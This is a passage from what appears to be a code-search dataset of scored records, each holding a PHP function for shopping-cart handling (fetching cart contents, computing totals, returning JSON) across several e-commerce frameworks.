number_format($cart_contents['subtotal'],2);\n\n return Response::json($cart_contents);\n }", "title": "" }, { "docid": "f7162bea313a3196b85b6f1f87d523f0", "score": "0.56554836", "text": "public function __default() \n\t{\n\t\n\t\t// Get the cart ID from the session variable\n\t\t$cartID = $this->session->cartID;\n\t\t\n\t\t// If the cart ID is set, then get the cart item records; otherwise, set it to a blank array\n\t\tif ($cartID)\n\t\t\t$cartItems = $this->getCartRecords($cartID);\n\t\telse\n\t\t\t$cartItems = array();\n\t\t\n\t\t// Set the view data for the cart\n\t\t$this->set('cartItems', $cartItems);\n\t\t\n\t}", "title": "" }, { "docid": "c0bfd9c460a1c51bd237ab5740bd5d48", "score": "0.5598882", "text": "public function getCart(){\n $this->request->type = 'get';\n $this->request->method = '/rest/cart';\n if (!is_null($this->cart->cartId))\n $this->request->method .= '/' . $this->cart->cartId;\n $this->doCall();\n $this->setCart();\n }", "title": "" }, { "docid": "884708d973bcbea86c7f9ca9c6c0621f", "score": "0.55785924", "text": "public function index(): Response\n {\n $cart = $this->cartService->getFullCart();\n //dd($cart);\n if(!isset($cart['products'])) {\n return $this->redirectToRoute('app_homepage');\n }\n return $this->render('cart/cart.html.twig', [\n 'cart' => $cart\n ]);\n }", "title": "" }, { "docid": "b728a792b0317f3d358b547cb5241f4d", "score": "0.5550275", "text": "public function getCartApi()\n {\n $cart = Cache::get('cart');\n return response()->json(['cart' => $cart]);\n }", "title": "" }, { "docid": "6013f4a77ce43b41b13d049027bbd574", "score": "0.5546379", "text": "public function frontendCart()\n {\n// waLog::log(print_r($cart, true), '111logProds.log');\n\n\n\n $path = wa('shop')->getAppPath('plugins/postponedbasket/templates/cart.html');\n $view = wa()->getView();\n //$thisCountry = shopServicepluginPlugin::generateSelCountry();\n //$view->assign('row', $thisCountry);\n $html = $view->fetch($path);\n return $html;\n\n }", "title": "" }, { "docid": "6fdea1a334486ed422a81d637a5d6247", "score": "0.55303574", "text": "public function index(Cart $cart): Response\n {\n //dd($cart->get());//appelle moi la fovtion de ma classe Cart\n // dd($cartComplete);\n return $this->render('cart/index.html.twig',[\n 'cart'=>$cart->getCart()\n ]);\n\n }", "title": "" }, { "docid": "cb64c3ebcbc287eea1bf025463e080a8", "score": "0.55215794", "text": "public function index(): JsonResponse\n {\n $item = QueryBuilder::for($this->user()->cart())\n ->with(['sku:id,service_district_item_id,name,price', 'sku.service:id,name,thumbnail'])\n ->allowedFilters([AllowedFilter::exact('id')])\n ->orderByDesc('id')\n ->get();\n return custom_response(CartItemResource::collection($item));\n }", "title": "" }, { "docid": "65351379ba327711a30fd0a8221c7e39", "score": "0.54921705", "text": "protected function defaultResponse() {\n // this class may be set by a derived class providing an own template\n if (strlen($this->renderClassName) > 0) {\n $this->renderView($this->renderClassName, null);\n }\n else {\n Log::printEcho(json_encode([\"result\" => \"nok\", \"reason\" => \"invalid request cmd\"])); \n }\n }", "title": "" }, { "docid": "a6ca1524080b9887ab802f4b319b2902", "score": "0.54887676", "text": "public function getCartType();", "title": "" }, { "docid": "1b0d25f387dd36948880ca5b0fe37a5f", "score": "0.5478048", "text": "public function getCartName();", "title": "" }, { "docid": "0d5ea1d550cb8f36d7abe26ad9f40d0c", "score": "0.54644686", "text": "public function showCart() {\n $client = new ApiClient();\n $cartData = $client->getData();\n echo <<<HTML\n<html>\n<head><title>Your Cart</title></head>\n<body>\n\n<table>\n\n <tr><th>Item name</th><th>Quantity</th></tr>\n\n <tr>\n <td>{$cartData[0][\"item\"]}</td>\n <td>{$cartData[0][\"quantity\"]}</td>\n </tr>\n\n <tr>\n <td>{$cartData[1][\"item\"]}</td>\n <td>{$cartData[1][\"quantity\"]}</td>\n </tr>\n\n</table>\n\n</html>\nHTML;\n }", "title": "" }, { "docid": "289402cda8c76841aa5f3a3beb2c3fff", "score": "0.54616934", "text": "public function getCartProductProvider();", "title": "" }, { "docid": "dccf194a575888750f92170596f86ca6", "score": "0.5450408", "text": "public function execute()\n {\n $jsonResult = $this->_jsonFactory->create();\n if ($this->_cartHelper->isEnable()) {\n if (!$this->_cartHelper->getHeaders()) {\n $errorResult = array('status' => false, 'message' => $this->_cartHelper->getHeaderMessage());\n $jsonResult->setData($errorResult);\n return $jsonResult;\n }\n $sessionId = '';\n if (isset($postData['session_id']) && $postData['session_id'] != null) {\n $sessionId = $postData['session_id'];\n if (!$this->_customerSession->isLoggedIn()) {\n $customerId = explode(\"_\", $sessionId);\n $this->_cartHelper->relogin($customerId[0]);\n }\n }\n try {\n $isDefaultStoreId = $this->_storeManager->getStore()->getId();\n foreach ($this->_storeManager->getWebsites() as $website) {\n $storeResponse['website'][] = array('website_id' => $website->getId(), 'website_name' => $website->getName());\n\n foreach ($website->getGroups() as $group) {\n $stores = $group->getStores();\n\n foreach ($stores as $store) {\n if ($store->getIsActive() == 1) {\n $storeScope = \\Magento\\Store\\Model\\ScopeInterface::SCOPE_STORES;\n $languageCode = $this->_scopeConfig->getValue(self::XML_PATH_LANGUAGECODE, $storeScope);\n $currencyCode = $this->_storeManager->getStore()->getCurrentCurrencyCode();\n $currencySign = $this->_localeCurrency->getCurrency($currencyCode)->getSymbol();\n if ($currencySign == \"\") {\n $currencySign = $currencyCode;\n }\n if ($store->getId() == $isDefaultStoreId) {\n $storeResponse['stores'][] = array('store_id' => $store->getId(), 'store_name' => $store->getName(), 'language_code' => $languageCode, 'is_default' => 1, 'currency_code' => $this->_storeManager->getStore()->getCurrentCurrencyCode(), 'currency_sign' => $currencySign, 'website_id' => $this->_storeManager->getStore($store->getStoreCode())->getWebsiteId());\n } else {\n $currencySign = $this->_localeCurrency->getCurrency($this->_storeManager->getStore($store->getId())->getCurrentCurrencyCode())->getSymbol();\n $currencyCode = $this->_storeManager->getStore($store->getId())->getCurrentCurrencyCode();\n if ($currencySign == \"\") {\n $currencySign = $currencyCode;\n }\n\n $storeResponse['stores'][] = array('store_id' => $store->getId(), 'store_name' => $store->getName(), 'language_code' => $languageCode, 'currency_code' => $this->_storeManager->getStore($store->getId())->getCurrentCurrencyCode(), 'currency_sign' => $currencySign, 'website_id' => $this->_storeManager->getStore($store->getId())->getWebsiteId());\n }\n }\n }\n }\n }\n $cmspageModelObject = $this->_cmspageModel->create();\n\n // *********************** Privacy page content ****************************\n\n $privacypageContent = $cmspageModelObject->load($this->_scopeConfig->getValue(self::XML_PATH_PRIVACY, $storeScope))->getContent();\n $htmlPrivacyPage = $this->_filterProvider->getPageFilter()->filter($privacypageContent);\n $storeResponse['privacypage_url'] = $htmlPrivacyPage;\n\n // *********************** Aboutus page content ****************************\n\n $aboutuspageContent = $cmspageModelObject->load($this->_scopeConfig->getValue(self::XML_PATH_ABOUTUS, $storeScope))->getContent();\n $htmlAboutUsPage = $this->_filterProvider->getPageFilter()->filter($aboutuspageContent);\n $storeResponse['aboutuspage_url'] = $htmlAboutUsPage;\n\n // *********************** FAQ page content ****************************\n\n $aboutuspageContent = $cmspageModelObject->load($this->_scopeConfig->getValue(self::XML_PATH_FAQ, $storeScope))->getContent();\n $htmlFAQPage = $this->_filterProvider->getPageFilter()->filter($aboutuspageContent);\n $storeResponse['faq_url'] = $htmlFAQPage;\n\n // *********************** Help Desk ****************************\n $storeResponse['help_toll'] = $this->_scopeConfig->getValue(self::XML_PATH_HELPTOLL, $storeScope);\n\n $storeResponse['help_email'] = $this->_scopeConfig->getValue(self::XML_PATH_HELPEMAIL, $storeScope);\n\n $storeResponse['help_address'] = $this->_scopeConfig->getValue(self::XML_PATH_HELPADD, $storeScope);\n\n // *************************************************************************\n $storeResponse['byi_enabled'] = false;\n\n $enableContactUs = $this->_scopeConfig->getValue(self::XML_PATH_ENABLED, $storeScope);\n $storeResponse['enable_contactus'] = (bool) $enableContactUs;\n\n $themePrimarycolor = $this->_scopeConfig->getValue(self::XML_PATH_COLOR, $storeScope);\n $storeResponse['color'] = $themePrimarycolor;\n $themeSecondarycolor = $this->_scopeConfig->getValue(self::XML_PATH_SECONDARYCOLOR, $storeScope);\n $storeResponse['secondary_color'] = $themeSecondarycolor;\n\n $googleapi = $this->_scopeConfig->getValue(self::XML_PATH_GOOGLEAPI, $storeScope);\n $storeResponse['googleapi'] = $googleapi;\n\n $storeResponse['is_site_secure'] = $this->_scopeConfig->getValue(self::XML_PATH_SECURESITE, $storeScope);\n if ($storeResponse['is_site_secure'] == 0) {\n $configValue = $this->_scopeConfig->getValue(self::XML_PATH_HTTPSCONFIG, $storeScope);\n $modulesArray = array();\n if (isset($configValue) && $configValue != '') {\n $modulesArray = explode(',', $configValue);\n $storeResponse['httpsCollection'] = $modulesArray;\n } else {\n $storeResponse['httpsCollection'] = $modulesArray;\n }\n }\n $enableSku = $this->_scopeConfig->getValue(self::XML_PATH_BARCODE, $storeScope);\n $storeResponse['is_barcode'] = $enableSku;\n $storeResponse['magento_version'] = true;\n\n $customObject = $this->_objectFactory->create();\n $customObject->setStoreResponse($storeResponse);\n $this->_eventManager->dispatch('get_store_detail_before', ['storeResponse' => $customObject]);\n $storeResponse = $customObject->getStoreResponse();\n\n } catch (\\Exception $e) {\n $storeResponse = array(\n 'status' => 'false',\n 'message' => $e->getMessage()\n );\n }\n $jsonResult->setData($storeResponse);\n return $jsonResult;\n } else {\n $returnExtensionArray = array('enable' => false);\n $jsonResult->setData($returnExtensionArray);\n return $jsonResult;\n }\n }", "title": "" }, { "docid": "6486e370ba3c603923a7190c344ae310", "score": "0.54436976", "text": "public function get_total_cart_return(){\n $rs = array();\n $arrWhere = array();\n $success_response = array();\n $error_response = array();\n \n $ftrans_out = $this->input->post('ftrans_out', TRUE);\n \n if(empty($ftrans_out) || $ftrans_out == \"\"){\n $error_response = array(\n 'status' => 0,\n 'ttl_cart'=> 0\n );\n $response = $error_response;\n }else{\n $cartid = $this->session->userdata ( 'cart_session' ).\"inr\".$ftrans_out;\n $arrWhere = array('funiqid'=>$cartid);\n //Parse Data for cURL\n $rs_data = send_curl($arrWhere, $this->config->item('api_total_incomings_cart'), 'POST', FALSE);\n // $rs_data = send_curl($arrWhere, $this->config->item('api_total_incomings_cart').'?funiqid='.$cartid, 'GET', FALSE);\n $rs = $rs_data->status ? $rs_data->result : array();\n\n if(!empty($rs)){\n $total = 0;\n foreach ($rs as $r){\n $total = $r->total > 0 ? (int)$r->total : 0;\n }\n $success_response = array(\n 'status' => 1,\n 'ttl_cart'=> $total\n );\n $response = $success_response;\n }else{\n $error_response = array(\n 'status' => 0,\n 'ttl_cart'=> 0\n );\n $response = $error_response;\n }\n }\n \n return $this->output\n ->set_content_type('application/json')\n ->set_output(\n json_encode($response)\n );\n }", "title": "" }, { "docid": "e2bf14c842267ee966c7fe4ef65d5e0f", "score": "0.54393166", "text": "public function get_total_cart(){\n $rs = array();\n $arrWhere = array();\n $success_response = array();\n $error_response = array();\n \n $cartid = $this->session->userdata ( 'cart_session' ).\"in\";\n $arrWhere = array('funiqid'=>$cartid);\n \n //Parse Data for cURL\n $rs_data = send_curl($arrWhere, $this->config->item('api_total_incomings_cart'), 'POST', FALSE);\n// $rs_data = send_curl($arrWhere, $this->config->item('api_total_incomings_cart').'?funiqid='.$cartid, 'GET', FALSE);\n $rs = $rs_data->status ? $rs_data->result : array();\n \n if(!empty($rs)){\n $total = 0;\n foreach ($rs as $r){\n $total = $r->total > 0 ? (int)$r->total : 0;\n }\n $success_response = array(\n 'status' => 1,\n 'ttl_cart'=> $total\n );\n $response = $success_response;\n }else{\n $error_response = array(\n 'status' => 0,\n 'ttl_cart'=> 0\n );\n $response = $error_response;\n }\n \n return $this->output\n ->set_content_type('application/json')\n ->set_output(\n json_encode($response)\n );\n }", "title": "" }, { "docid": "696a906757d8dd2fd2aee8adecca1ad1", "score": "0.5434338", "text": "public function get_cart_contents()\n {\n }", "title": "" }, { "docid": "7bc72c4fc0785dc70b10f409cec73a05", "score": "0.54335797", "text": "public function cart_result() {\n\n $printStatusCode = \"System can not find any Icepay payment datas.\";\n\n if ($_GET['Status']) {\n $api = new IcepayApi();\n $printStatusCode = $api->runPageCartResult();\n\n if (!is_string($printStatusCode)) {\n return $printStatusCode;\n }\n }\n\n return [\n '#type' => 'markup',\n '#markup' => '<h2>'. $this->t(\"Error on processing Icepay payment.\") . '</h2>' . $printStatusCode,\n ];\n }", "title": "" }, { "docid": "69ce9688bdab296a1a3c5471e6e6371c", "score": "0.54270923", "text": "function cart_info()\n\t{\n\t\tglobal $TMPL, $REGX, $FNS;\n\n\t\t$this->_session_start();\n\n\t\t$items = $this->_get_items();\n\n\t\t$tagdata = $TMPL->tagdata;\n\n\t\t$total_results = count($items);\n\n\t\tif ( ! $total_results)\n\t\t{\n\t\t\treturn $TMPL->no_results;\n\t\t}\n\n\t\t$data = array_merge($this->_get_cart_info(), $this->_get_customer_info(TRUE));\n\n\t\tforeach ($TMPL->var_single as $value)\n\t\t{\n\t\t\tif (isset($data[$value]))\n\t\t\t{\n\t\t\t\t$tagdata = $TMPL->swap_var_single($value, $data[$value], $tagdata);\n\t\t\t}\n\t\t}\n\n\t\t$cond = array(\n\t\t\t'cart_subtotal'=>(bool) $this->_calculate_subtotal(),\n\t\t\t'cart_shipping'=>(bool) $this->_calculate_shipping(),\n\t\t\t'cart_tax'=>(bool) $this->_calculate_tax(),\n\t\t\t'cart_discount'=>(bool) $this->_calculate_discount(),\n\t\t\t'cart_total'=>(bool) $this->_calculate_total(),\n\t\t);\n\n\t\t$tagdata = $FNS->prep_conditionals($tagdata, $cond);\n\n\t\treturn $tagdata;\n\t}", "title": "" }, { "docid": "62cb25595d18fd62bc1129b2b9d4705d", "score": "0.54059136", "text": "public function getJsonConfig() {\n $config = array ();\n if (! $this->hasOptions ()) {\n /**\n * Convert result into json Encode format.\n */\n return Mage::helper ( 'core' )->jsonEncode ( $config );\n }\n /**\n * Get the request for '$_request'\n */\n $_request = Mage::getSingleton ( 'tax/calculation' )->getRateRequest ( false, false, false );\n $_request->setProductClassId ( $this->getProduct ()->getTaxClassId () );\n $defaultTax = Mage::getSingleton ( 'tax/calculation' )->getRate ( $_request );\n \n $_request = Mage::getSingleton ( 'tax/calculation' )->getRateRequest ();\n $_request->setProductClassId ( $this->getProduct ()->getTaxClassId () );\n $currentTax = Mage::getSingleton ( 'tax/calculation' )->getRate ( $_request );\n \n $_regularPrice = $this->getProduct ()->getPrice ();\n $_finalPrice = $this->getProduct ()->getFinalPrice ();\n $_priceInclTax = Mage::helper ( 'tax' )->getPrice ( $this->getProduct (), $_finalPrice, true );\n $_priceExclTax = Mage::helper ( 'tax' )->getPrice ( $this->getProduct (), $_finalPrice );\n /**\n * Set the config variables with\n * 'productId'\n * 'priceFormat'\n * 'includeTax'\n * 'showIncludeTax'\n * 'showBothPrices'\n * 'productPrice'\n * 'productOldPrice'\n * 'skipCalculate'\n * 'defaultTax'\n * 'currentTax'\n * 'idSuffix'\n * 'oldPlusDisposition'\n * 'plusDisposition'\n * 'oldMinusDisposition'\n * 'minusDisposition'\n */\n $config = array (\n 'productId' => $this->getProduct ()->getId (),\n 'priceFormat' => Mage::app ()->getLocale ()->getJsPriceFormat (),\n 'includeTax' => Mage::helper ( 'tax' )->priceIncludesTax () ? 'true' : 'false',\n 'showIncludeTax' => Mage::helper ( 'tax' )->displayPriceIncludingTax (),\n 'showBothPrices' => Mage::helper ( 'tax' )->displayBothPrices (),\n 'productPrice' => Mage::helper ( 'core' )->currency ( $_finalPrice, false, false ),\n 'productOldPrice' => Mage::helper ( 'core' )->currency ( $_regularPrice, false, false ),\n /**\n *\n * @var skipCalculate\n * @deprecated after 1.5.1.0\n */\n 'skipCalculate' => ($_priceExclTax != $_priceInclTax ? 0 : 1),\n 'defaultTax' => $defaultTax,\n 'currentTax' => $currentTax,\n 'idSuffix' => '_clone',\n 'oldPlusDisposition' => 0,\n 'plusDisposition' => 0,\n 'oldMinusDisposition' => 0,\n 'minusDisposition' => 0 \n );\n $responseObject = new Varien_Object ();\n Mage::dispatchEvent ( 'catalog_product_view_config', array (\n 'response_object' => $responseObject \n ) );\n /**\n * Check weather the value in array\n */\n if (is_array ( $responseObject->getAdditionalOptions () )) {\n foreach ( $responseObject->getAdditionalOptions () as $option => $value ) {\n $config [$option] = $value;\n }\n }\n /**\n * Return the json Encode Value.\n */\n return Mage::helper ( 'core' )->jsonEncode ( $config );\n }", "title": "" }, { "docid": "3b07618774e606bb925a6918989967d7", "score": "0.54012877", "text": "private function getCurrentCart() {\n if (!class_exists('VirtueMartCart')) {\n require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php');\n }\n return VirtueMartCart::getCart();\n }", "title": "" }, { "docid": "f92731c64d3c5de1314b8ab66058e465", "score": "0.5388859", "text": "private function getCurrentCart()\n {\n if (!class_exists('VirtueMartCart')) {\n require JPATH_VM_SITE.DS.'helpers'.DS.'cart.php';\n }\n\n return VirtueMartCart::getCart();\n }", "title": "" }, { "docid": "4689a5fdffdfe3f9a5ffbc0d08fdb7d8", "score": "0.5374325", "text": "public function get_cart_from_session()\n {\n }", "title": "" }, { "docid": "4689a5fdffdfe3f9a5ffbc0d08fdb7d8", "score": "0.5373222", "text": "public function get_cart_from_session()\n {\n }", "title": "" }, { "docid": "9921f10f088e59f667d1aaaa0a055708", "score": "0.53695", "text": "public function get_cart_url()\n {\n }", "title": "" }, { "docid": "7f3030e27ecc6df31f14431b8b99da5c", "score": "0.5360807", "text": "public function oePayPalDisplayCartInPayPal()\n {\n }", "title": "" }, { "docid": "0ec4d723fbe4b5cba4a7ea13ea09b6fd", "score": "0.53605866", "text": "public function get_response(string $package = '')\n{ \n\n // Return as needed\n if ($package != '') { \n return $this->response[$package] ?? '';\n } else { \n return $this->response;\n }\n\n}", "title": "" }, { "docid": "cb8c3f0a182900655e3372a7aa65286a", "score": "0.534166", "text": "public function cart_get()\n\t{\n\n\t\t$data = array();\n\n\t\t$hashTrans = sha1($this->input->get('email'));\n\n\t\t$result = $this->carts->displayCart($hashTrans);\n\n\t\t$count = $result->result_array();\n\n\t\tfor ($i = 0; $i < count($count); $i++) {\n\n\t\t\t$finalUrl = file_get_contents('http://en.yiwugo.com/ywg/[email protected]&productId=' . $count[$i]['PRODUCT_ID']);\n\t\t\t$obj \t\t= json_decode($finalUrl, true);\n\n\t\t\t$data[$i]['prod_id'] \t\t= $count[$i]['PRODUCT_ID'];\n\t\t\t$data[$i]['quantity'] \t\t= $count[$i]['PRODUCT_QUANTITY'];\n\t\t\t$data[$i]['prod_image'] \t= $count[$i]['PRODUCT_IMAGES'];\n\t\t\t$data[$i]['price'] \t\t\t= $count[$i]['PRODUCT_PRICE'];\n\t\t\t$data[$i]['prod_name'] \t\t= $count[$i]['PRODUCT_NAME'];\n\t\t\t$data[$i]['notes'] \t\t\t= $count[$i]['PRODUCT_NOTES'];\n\t\t\t$data[$i]['email'] \t\t\t= $count[$i]['PRODUCT_BUYER'];\n\t\t\t$data[$i]['weight']\t\t\t= $obj['detail']['productForApp']['weightetc'];\n\n\t\t\t$flag = $count[$i]['CART_FLAG'];\n\t\t}\n\n\t\t$json = json_encode($data);\n\n\t\tif (count($count) > 0) {\n\t\t\t$this->response([\n\t\t\t\t'status' \t=> 'ok',\n\t\t\t\t'message' \t=> $result->num_rows() . ' cart item found',\n\t\t\t\t'cart_id'\t=> $hashTrans,\n\t\t\t\t'cart_flag' => $flag,\n\t\t\t\t'code' \t\t=> REST_Controller::HTTP_ACCEPTED,\n\t\t\t\t'item' => json_decode($json, true),\n\t\t\t], REST_Controller::HTTP_ACCEPTED);\n\t\t} else {\n\t\t\t$this->response([\n\t\t\t\t'status' \t=> 'ok',\n\t\t\t\t'message' \t=> 'no cart history found',\n\t\t\t\t'code' \t\t=> REST_Controller::HTTP_OK,\n\t\t\t\t'item' => json_decode($json, true),\n\t\t\t], REST_Controller::HTTP_OK);\n\t\t}\n\t}", "title": "" }, { "docid": "1aa1ac62173a696e41bfba21cb68fe9e", "score": "0.53412735", "text": "public function index()\n {\n return new CartResource(Cart::content());\n }", "title": "" }, { "docid": "047d6f6e8cd2af8d56562b5cde0cd4c1", "score": "0.53338337", "text": "public function getCartJson(){\n $cart = Cart::where('customer_id', $this->loggedUser->message->id)->first();\n\n if ($cart) {\n $total_amount = 0;\n $weight = 0;\n $cartDetail = CartDetail::where('cart_id', $cart->id)->get();\n\n foreach ($cartDetail as $key => $value) {\n // @TODO this should have to implements Batch, right now it's use one by one call Product Microservice to ease my work \n $theProduct = $this->client->get(self::PRODUCT_ENDPOINT . $value->product_id);\n $product = json_decode($theProduct->getBody());\n $value->setAttribute('product_name', $product->name);\n $value->setAttribute('product_weight', $product->weight);\n $total_amount += $product->price * $value->qty;\n $weight += $product->weight * $value->qty;\n }\n //using gram, so it must divides by 1000, and 14000 is the average shipment fee from Jogja to Jakarta per kg\n $cart->shipment_fee = $weight * 14000 / 1000;\n $cart->total_amount = $total_amount;\n $cart->grand_total = $cart->shipment_fee + $cart->total_amount;\n if ($cart->coupon_id) {\n // include coupon discount\n $cart->grand_total = $cart->shipment_fee + $cart->total_amount - $cart->coupon_discount;\n //save the coupon detail in cart\n $cart->coupon_id = $cart->coupon_id;\n $cart->coupon_code_name = $cart->coupon_code_name;\n $cart->coupon_discount = $cart->coupon_discount;\n }\n\n if ($cart->save()) {\n $cart->items = !$cartDetail->isEmpty() ? $cartDetail : array('Let`s Start Shopping');\n \n return response()->json(\n $cart\n );\n }else{\n $response['success'] = false;\n $response['message'] = 'Unknown Error!';\n\n return response($response);\n }\n }else{\n $response['success'] = false;\n $response['message'] = 'Your cart is empty! Check our products and happy shopping :)';\n\n return response($response);\n }\n }", "title": "" }, { "docid": "2cfe33975194ab733c9baf7aded5d585", "score": "0.53307366", "text": "private function get_saved_cart()\n {\n }", "title": "" }, { "docid": "071c6c8eb625aca5a3493b1bbad1f5d4", "score": "0.5326629", "text": "private function defaultResponse()\n {\n $user = $this->auth->user();\n\n $response = new Response();\n\n $response->content = $user->preferences->default_response_content;\n $response->status = $user->preferences->default_response_status;\n $response->content_type = $user->preferences->default_response_type;\n\n return $response;\n }", "title": "" }, { "docid": "0fd42916ff68edabe91b6d8e0416f823", "score": "0.5318706", "text": "public function getPurchaseRequestDefaultValue() { \n //initialize dummy value.. no content header.pure html \n $sql=null; \n $str=null; \n $purchaseRequestId=null;\n if($this->getVendor()==self::MYSQL) { \n $sql =\" \n SELECT `purchaseRequestId`\n FROM \t`purchaserequest`\n WHERE `isActive` = 1\n AND `companyId` = '\".$this->getCompanyId().\"'\n AND \t `isDefault` =\t 1\n LIMIT 1\"; \n } else if ($this->getVendor()==self::MSSQL) { \n $sql =\" \n SELECT TOP 1 [purchaseRequestId],\n FROM [purchaseRequest]\n WHERE [isActive] = 1\n AND [companyId] = '\".$this->getCompanyId().\"'\n AND \t [isDefault] = 1\"; \n } else if ($this->getVendor()==self::ORACLE) { \n $sql =\" \n SELECT PURCHASEREQUESTID AS \\\"purchaseRequestId\\\",\n FROM PURCHASEREQUEST \n WHERE ISACTIVE = 1\n AND COMPANYID = '\".$this->getCompanyId().\"'\n AND \t ISDEFAULT\t =\t 1\n AND \t\t ROWNUM\t =\t 1\";\n } else {\n header('Content-Type:application/json; charset=utf-8');\n echo json_encode(array(\"success\" => false, \"message\" => $this->t['databaseNotFoundMessageLabel']));\n exit();\n }\n try {\n $result =$this->q->fast($sql);\n } catch (\\Exception $e) {\n echo json_encode(array(\"success\" => false, \"message\" => $e->getMessage()));\n exit();\n }\n if($result) { \n $row = $this->q->fetchArray($result); \n $purchaseRequestId = $row['purchaseRequestId'];\n }\n return $purchaseRequestId;\n }", "title": "" }, { "docid": "6278164da1539a9dcfe2ae5d7942df36", "score": "0.529981", "text": "public function get_total_cart(){\n $rs = array();\n $arrWhere = array();\n $success_response = array();\n $error_response = array();\n \n $cartid = $this->session->userdata ( 'cart_session' ).\"ot\";\n $arrWhere = array('funiqid'=>$cartid);\n \n //Parse Data for cURL\n $rs_data = send_curl($arrWhere, $this->config->item('api_total_outgoings_cart'), 'POST', FALSE);\n// $rs_data = send_curl($arrWhere, $this->config->item('api_total_outgoings_cart').'?funiqid='.$cartid, 'GET', FALSE);\n $rs = $rs_data->status ? $rs_data->result : array();\n \n $total = 0;\n if(!empty($rs)){\n foreach ($rs as $r){\n $total = $r->total > 0 ? (int)$r->total : 0;\n }\n $success_response = array(\n 'status' => 1,\n 'ttl_cart'=> $total\n );\n $response = $success_response;\n }else{\n $error_response = array(\n 'status' => 0,\n 'ttl_cart'=> $total\n );\n $response = $error_response;\n }\n \n return $this->output\n ->set_content_type('application/json')\n ->set_output(\n json_encode($response)\n );\n }", "title": "" }, { "docid": "5e245ea3c920ad8da4793736a3c9902e", "score": "0.5294013", "text": "public function shop_cart_get()\n\t{\n\t\ttry\n\t\t{\n\n\t\t\t/*Load Order Model*/\n\t\t\t$this->load->model('order_model');\n\t\t\t$this->load->model('order_project_model');\n\t\t\t$order_id = $this->order_model->get_current_order($this->user_id);\n\t\t\tif(!$order_id)\n\t\t\t{\n\t\t\t\t$lang_key = 'no_access';\n\t\t\t\tthrow new Exception($this->lang->line($lang_key,$this->config->item($lang_key)));\n\n\t\t\t}\n\n\t\t\t$shop_items = $this->order_project_model->get_shop_items($order_id);\n\t\t\tif(!$shop_items)\n\t\t\t{\n\t\t\t\t$lang_key = 'no_access';\n\t\t\t\tthrow new Exception($this->lang->line($lang_key,$this->config->item($lang_key)));\n\t\t\t}\n\n\n\t\t\t/*Prepare response*/\n\t\t\t$this->api_response['response'] = $shop_items;\n\n\t\t\t/*Send success response*/\n\t\t\t$lang_key = 'universal_success';\n\t\t\t$this->response([\n\t\t\t\t\t\t'id'\t\t=> $lang_key,\n\t\t\t\t\t\t'status' \t=> true,\n\t\t\t\t\t\t'code' \t\t=> $this->config->item($lang_key),\n\t\t\t\t\t\t'data' \t=> $this->api_response\n\t\t\t\t\t\t], API_Controller::HTTP_OK);\n\t\t}\n\t\tcatch (Exception $e)\n\t\t{\n\t\t\t/*Send error response, this is due tovalidations,checks failed*/\n\t\t\t$this->response([\n\t\t\t\t\t'status' \t=> false,\n\t\t\t\t\t'code' \t\t=> $e->getCode(),\n\t\t\t\t\t'message' \t=> $e->getMessage()\n\t\t\t\t], API_Controller::HTTP_OK);\n\t\t}\n\t\tfinally\n\t\t{\n\t\t\t/*Send error response when something went horrible */\n\t\t\t$lang_key = 'universal_error';\n\t\t\t$this->response([\n\t\t\t\t\t'id'\t\t=> $lang_key,\n\t\t\t\t\t'status' \t=> false,\n\t\t\t\t\t'code' \t\t=> $this->config->item($lang_key),\n\t\t\t\t\t'message' \t=> $this->lang->line($lang_key)\n\t\t\t\t], API_Controller::HTTP_OK);\n\n\t\t}\n\t}", "title": "" }, { "docid": "118422fe783b5a514f5a6a6f56e0ebb0", "score": "0.5285584", "text": "public function get()\n {\n $cart = Cart::getCart();\n\n return response([\n 'data' => $cart ? new CartResource($cart) : null,\n ]);\n }", "title": "" }, { "docid": "9da4b3d6c6736e83b6a9caa32667a1fa", "score": "0.52810955", "text": "public static function get_cart_checkout_info()\n {\n }", "title": "" }, { "docid": "c025c3f5a2292f4d12d565888015e831", "score": "0.52810913", "text": "public function emptyCart()\n {\n $session = $this->app['session'];\n $session->set('cart_ids', []);\n\n return \\Core::make(\\Concrete\\Core\\Http\\ResponseFactoryInterface::class)->json(['success' => true]);\n }", "title": "" }, { "docid": "6b1225acc2dcf885b5d95ba121cd3cf0", "score": "0.5278938", "text": "public function getFullCart(): object\n {\n $panier = $this->session->get('panier', []);\n $users = $this->security->getUser();\n $panierWithData = [];\n\n /* boucle sur la panier et attribut un tableau des valeur du produit et sa quantité */\n foreach ($panier as $idproduct => $item) {\n foreach ($item as $idstock => $qte) {\n $panierWithData[] = [\n 'product' => $this->productRepository->find($idproduct),\n\n /*\n $formatmaterialID = La valeur que retourne le ajax a Dan\n 'unitprice'=> $this->stockRepository->find($formatmaterialID)\n */\n 'stock' => $this->stockRepository->find($idstock),\n 'quantity' => $qte,\n 'user' => $users,\n ];\n }\n }\n return (object)$panierWithData;\n }", "title": "" }, { "docid": "29b837ad6fb668def2d50f9d4317fce5", "score": "0.5274397", "text": "protected function _getCart()\n {\n return Mage::getSingleton('checkout/cart');\n }", "title": "" }, { "docid": "29b837ad6fb668def2d50f9d4317fce5", "score": "0.5274397", "text": "protected function _getCart()\n {\n return Mage::getSingleton('checkout/cart');\n }", "title": "" }, { "docid": "29b837ad6fb668def2d50f9d4317fce5", "score": "0.5274397", "text": "protected function _getCart()\n {\n return Mage::getSingleton('checkout/cart');\n }", "title": "" }, { "docid": "a2e7280f36715baf9709b8dafb15e660", "score": "0.5267397", "text": "public function checkout() {\n global $lang;\n if ($this->hasItems) {\n $request = new stdClass();\n $request->cart = $this->cart;\n $request->errorParameterName = 'error';\n $request->errorReturnUrl = $this->setReturnURL();\n $request->secureHostName = null;\n $this->request->vars = $request;\n $this->request->type = 'post';\n $this->request->method = '/rest/cart/checkout';\n $this->doCall();\n return json_decode($this->response->body);\n } else {\n throw new Exception($lang['ultracart']['cart']['empty'], 2000);\n }\n }", "title": "" }, { "docid": "854f2aeb56244b9a3e9e57d6ef06f1e9", "score": "0.52482706", "text": "function display_cart() {\r\n\t\techo $this->build_cart($params);\r\n\t}", "title": "" }, { "docid": "a8a5cb896ef4a8aedfb0db93e451dc6c", "score": "0.52258015", "text": "private static function get_mini_cart_info()\n {\n }", "title": "" }, { "docid": "3d010ba6631701ba6133e280134f946e", "score": "0.52184546", "text": "public function OptionResponse(){\n return $this->setHeaders( [\n\n ], Response::HTTP_OK );\n }", "title": "" }, { "docid": "7b8c117737494900d45537d76cee0c35", "score": "0.52104163", "text": "public function get() {\n $sales = $this->getSalesData();\n $top_products = $this->getTopProducts();\n //$carts = $this->getCarts();\n $carts = 